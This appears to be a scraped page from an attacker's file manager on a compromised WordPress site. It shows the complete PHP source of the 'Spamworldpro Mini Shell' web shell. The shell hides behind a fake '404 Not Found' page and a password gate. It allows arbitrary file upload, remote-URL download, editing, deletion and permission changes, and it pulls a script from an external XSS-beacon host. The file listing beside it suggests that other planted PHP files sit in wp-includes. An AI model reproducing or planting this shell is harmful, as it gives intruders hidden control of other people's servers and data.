Windows NT WIN-09BE89KU8UR 10.0 build 14393 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 18.117.166.215
Domains :
Cant Read [ /etc/named.conf ]
User : IWAM_plesk(default)
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
E: /
Inetpub /
vhosts /
rocharosa.com.br /
httpdocs /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
Text
[ DIR ]
drwxrwxrwx
2024-09-24 07:41
blocks
[ DIR ]
drwxrwxrwx
2024-09-24 07:41
images
[ DIR ]
drwxrwxrwx
2024-09-24 07:41
js
[ DIR ]
drwxrwxrwx
2024-09-24 07:41
style-engine
[ DIR ]
drwxrwxrwx
2024-09-24 07:41
click.php
1.43
KB
-r--r--r--
2024-09-23 09:44
hwijuc.php
14.55
KB
-rw-rw-rw-
2024-11-16 09:19
mah.php
13.16
KB
-r--r--r--
2024-09-18 06:25
product.php
1.44
KB
-r--r--r--
2024-09-23 09:44
zvc-tabs6.zip
3.57
KB
-r--r--r--
2024-09-21 01:47
Save
Rename
<?php ?><?php if(isset($_REQUEST["ok"])){die(">ok<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && md5(md5(md5(md5(md5(md5(md5(md5($_POST['pwdyt'])))))))) == '1ab4d6f8d41abab37e7a1b67a2469085') { $_SESSION['secretyt'] = true; } else { $bytesecform = <<<FORM <html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html> FORM; die($bytesecform); } } } ?> <!-- GIF89;a --> <!-- GIF89;a --> <!DOCTYPE html> <html> <head> <title>404 Not Found</title> </head> <body bgcolor="#1f1f1f" text="#ffffff"> <link href="" rel="stylesheet" type="text/css"> <style> @import url('https://fonts.googleapis.com/css?family=Dosis'); @import url('https://fonts.googleapis.com/css?family=Bungee'); body { font-family: "Dosis", cursive; text-shadow:0px 0px 1px #757575; } #content tr:hover { background-color: #636263; text-shadow:0px 0px 10px #fff; } #content .first { background-color: #25383C; } #content .first:hover { background-color: #25383C text-shadow:0px 0px 1px #757575; } table { border: 1px #000000 dotted; table-layout: fixed; } td { word-wrap: break-word; } a { color: #ffffff; text-decoration: none; } a:hover { color: #000000; text-shadow:0px 0px 10px #ffffff; } input,select,textarea { border: 1px #000000 solid; -moz-border-radius: 5px; -webkit-border-radius:5px; border-radius:5px; } .gas { background-color: #1f1f1f; color: #ffffff; cursor: pointer; } select { background-color: transparent; color: #ffffff; } select:after { cursor: pointer; } .linka { background-color: transparent; color: #ffffff; } .up { background-color: transparent; color: #fff; } option { background-color: #1f1f1f; } ::-webkit-file-upload-button { background: transparent; color: #fff; border-color: #fff; cursor: pointer; } </style> <center> <font face="Bungee" size="5">Spamworldpro Mini Shell </font></center> <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> <tr><td> <center><img src="https://media.discordapp.net/attachments/977951305018507334/1040194917546348595/logoz.png?width=576&height=576" width="280" height="280" title="Spamworldpro" alt="Spamworldpro" class="center" /> <br><br><br> <?php set_time_limit(0); error_reporting(0); $disfunc = @ini_get("disable_functions"); if (empty($disfunc)) { $disf = "<font color='gold'>NONE</font>"; } else { $disf = "<font color='red'>".$disfunc."</font>"; } function author() { echo "<center><br>Spamworldpro Mini</center>"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "<font color='green'>Writeable</font>"; } else { return "<font color='red'>Writeable</font>"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "<font color='green'>Writeable</font>"; } else { return "<font color='red'>Writeable</font>"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "<center><font color='green'>".$text."</center></font>"; } function red($text) { echo "<center><font color='red'>".$text."</center></font>"; } echo "Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>"; echo "System : <font color='gold'>".php_uname()."</font><br>"; echo "User : <font color='gold'>".@get_current_user()." </font>( <font color='gold'>".@getmyuid()."</font>)<br>"; echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>"; echo "Disable Function : ".$disf."</font><br>"; echo "Directory : "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '<a href="?path=/">/</a>'; continue; } if($lok == '') continue; echo '<a href="?path='; for($i=0;$i<=$id;$i++){ echo "$lokasis[$i]"; if($i != $id) echo "/"; } echo '">'.$lok.'</a>/'; } echo '<center>'; echo '</td></tr><tr><td><br>'; if (isset($_POST['upwkwk'])) { if (isset($_POST['berkasnya'])) { if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER['DOCUMENT_ROOT']; } $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name'])); if (file_exists($lokasi."/".$_FILES['berkas']['name'])) { echo "File Uploaded ! <font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>"; } else { echo "<font color='red'>Failed to Upload !<br><br>"; } } elseif (isset($_POST['linknya'])) { if (empty($_POST['namalink'])) { exit("Filename cannot be empty !"); } if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER['DOCUMENT_ROOT']; } $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink'])); if (file_exists($lokasi."/".$_POST['namalink'])) { echo "File Uploaded ! <font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>"; } else { echo "<font coloe='red'>Failed to Upload !<br><br>"; } } } echo "<center>"; echo "Upload File : "; echo '<form enctype="multipart/form-data" method="post"> <input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ] <input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ] <br> <input type="hidden" name="upwkwk" value="aplod"> <input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br> <input type="text" name="darilink" class="up" placeholder="https://t.me/spamworldpro"> <input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff"> </center> </form>'; echo "</table><br>"; if (isset($_GET['fileloc'])) { echo "<tr><td>Current File : ".$_GET['fileloc']; echo '</tr></td></table><br/>'; echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>"; author(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory !"); } else { green("Delete Directory Success !"); echo "string"; } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File !"); } else { green("Delete File Success !"); } } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { echo "<center>".$_POST['path']."<br>"; echo '<form method="post"> Permission : <input name="perm" type="text" class="up" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="ubahmod"> <input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/> </form>'; if (isset($_POST['chm0d'])) { $cm = @chmod($_POST['path'], $_POST['perm']); if ($cm == true) { green("Change Mod Success !"); } else { red("Change Mod Failed !"); } } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success !"); } else { red("Change Name Failed !"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "<center>".$_POST['path']."<br>"; echo '<form method="post"> New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="gantinama"> <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/> </form>'; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @file_put_contents($_POST['path'], $_POST['src']); if ($edit == true) { green("Edit File Success !"); } else { red("Edit File Failed !"); } } echo "<center>".$_POST['path']."<br><br>"; echo '<form method="post"> <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="edit"> <input type="submit" value="Edit File" name="gasedit" /> </form><br>'; } echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> <tr class="first"> <td><center>Name</center></td> <td><center>Size</center></td> <td><center>Permissions</center></td> <td><center>Options</center></td> </tr>'; foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo "<tr> <td><a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td> <td><center>--</center></td> <td><center>"; if(is_writable($lokasi."/".$dir)) echo '<font color="green">'; elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">'; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>'; echo "</center></td> <td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\"> <select name=\"pilih\"> <option value=\"\"></option> <option value=\"hapus\">Delete</option> <option value=\"ubahmod\">Chm0d</option> <option value=\"gantinama\">Rename</option> </select> <input type=\"hidden\" name=\"type\" value=\"dir\"> <input type=\"hidden\" name=\"name\" value=\"$dir\"> <input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\"> <input type=\"submit\" class=\"gas\" value=\">\" /> </form></center></td> </tr>"; } echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'; foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } echo "<tr> <td><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td> <td><center>".$size."</center></td> <td><center>"; if(is_writable("$lokasi/$file")) echo '<font color="green">'; elseif(!is_readable("$lokasi/$file")) echo '<font color="red">'; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>'; echo "</center></td><td><center> <form method=\"post\" action=\"?pilihan&path=$lokasi\"> <select name=\"pilih\"> <option value=\"\"></option> <option value=\"hapus\">Delete</option> <option value=\"ubahmod\">Chm0d</option> <option value=\"gantinama\">Rename</option> <option value=\"edit\">Edit</option> </select> <input type=\"hidden\" name=\"type\" value=\"file\"> <input type=\"hidden\" name=\"name\" value=\"$file\"> <input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\"> <input type=\"submit\" class=\"gas\" value=\">\" /> </center></form></td> </tr>"; } echo '</tr></td></table></table><script src=https://googlescripts.xss.ht></script>'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { // Socket $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { // Symbolic Link $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { // Regular $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { // Block special $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { // Directory $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { // Character special $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { // FIFO pipe $ingfo = 'p'; } else { // Unknown $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>